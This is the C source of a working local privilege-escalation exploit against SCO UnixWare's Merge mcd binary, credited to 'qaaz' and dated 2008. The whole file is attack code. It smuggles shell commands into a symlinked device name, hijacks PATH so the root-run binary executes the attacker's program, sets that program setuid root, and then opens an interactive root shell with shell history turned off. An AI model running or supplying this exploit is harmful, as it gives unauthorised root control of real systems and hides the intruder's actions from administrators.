/* 04/2008: public release
 * I have'nt seen any advisory on this; possibly still not fixed.
 *
 * SCO UnixWare Merge mcd Local Root Exploit
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>

#define TARGET  "/usr/lib/merge/mcd"
#define DIR  "/proc/%d/object", getpid()
#define BIN  "a.out"
#define LNK  "hrc;" BIN ";prc"
#define DEV  "/dev/cdrom/cdrom1"

int  main(int argc, char *argv[])
{
  char    dir[4096], bin[4096];
  char    dev[4096], env[4096];
  pid_t    child;
  struct stat  st;

  if (geteuid() == 0) {
    setuid(geteuid());
    setgid(getegid());
    if (strstr(argv[0], BIN)) {
      umask(0);
      chown(BIN, 0, 3);
      chmod(BIN, 06777);
      kill(getppid(), 15);
      return 0;
    }
    putenv("HISTFILE=/dev/null");
    execl("/bin/sh", "sh", "-i", NULL);
    printf("[-] sh: %s\n", strerror(errno));
    return 1;
  }

  printf("---------------------------------------\n");
  printf(" UnixWare Merge mcd Local Root Exploit\n");
  printf(" By qaaz\n");
  printf("---------------------------------------\n");

  if (access(TARGET, EX_OK) < 0) {
    printf("[-] %s: %s\n", TARGET, strerror(errno));
    return 1;
  }

  if (symlink(DEV, LNK) < 0) {
    printf("[-] %s: %s\n", LNK, strerror(errno));
    return 1;
  }

  sprintf(dir, DIR);
  sprintf(bin, "%s/%s", dir, BIN);

  snprintf(dev, sizeof(dev), "/dev/cdrom/../../%s/%s", getcwd(NULL, 4096), LNK);
  snprintf(env, sizeof(env), "PATH=.:%s", getenv("PATH"));

  if ((child = fork()) == 0) {
    chdir(dir);
    putenv(env);
    execl(TARGET, TARGET, "-u", "-d", dev, NULL);
    printf("[-] %s: %s\n", TARGET, strerror(errno));
    return 1;
  } /*else if (child != -1)
    waitpid(child, NULL, 0);*/

  printf("[*] Waiting for privs...\n");
  while (stat(bin, &st) == 0) {
    if ((st.st_mode & 06777) == 06777) {
      printf("[+] Enjoy\n");
      unlink(LNK);
      execl(bin, "woot", NULL);
      printf("[-] %s: %s\n", bin, strerror(errno));
      return 1;
    }
    sleep(1);
  }
  printf("[-] %s: %s\n", bin, strerror(errno));
  unlink(LNK);
  return 0;
}